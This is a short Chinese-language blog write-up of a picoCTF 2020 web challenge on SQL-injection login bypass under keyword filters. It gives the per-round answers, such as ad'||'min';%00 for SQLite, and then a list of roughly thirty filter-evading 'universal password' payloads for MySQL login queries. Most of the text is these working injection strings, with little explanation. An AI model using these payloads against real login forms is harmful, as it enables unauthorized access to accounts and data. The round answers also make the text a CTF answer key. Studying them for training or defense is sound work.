sql注入登录(关键字绕过)

picoCTF 2020 Mini-Competition的web题
最后发现flag就在http://jupiter.challenges.picoctf.org:50595/filter.php(孩子傻了
5轮全是关键字绕过登录
感觉重点就是数据库是sqlite。。。

answer:
round 1: admin’–+
round 2&3: admin’;%00
round 4&5: ad’||‘min’;%00

一些其他的不含+ and or like > < – = 的“万能密码”(mysql可用)

select * from users where username='$name' and password='$pass';
name:
a'+0;%00
'=0;%00
	'|0#
	'&0#
	'^0#
	'&''#
	'%11&1#
	'&1&1#
	'|0&1#
'*9;%00
'/9;%00
'%9;%00
'+0;%00

'*9*8*7*6*5#
'/2/3/4#

'%12%34%56%78;%00
'/**/+/**/0#\
'+0;%00
'+++0+++++0*0#
'*round(1,1);%00
	'&left(0,0)#
'*round(0,1)*round(0,1);%00
'div 1;%00
'is not null;%00
'regexp 1;%00
'*0*'';%00
'+'';%00
	' || '
;%00

sqlite数据库连接符 || Eg:‘ad’||‘min’,绕过屏蔽admin
%00为截断,所以要写成 ;%00
–+不用加;

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值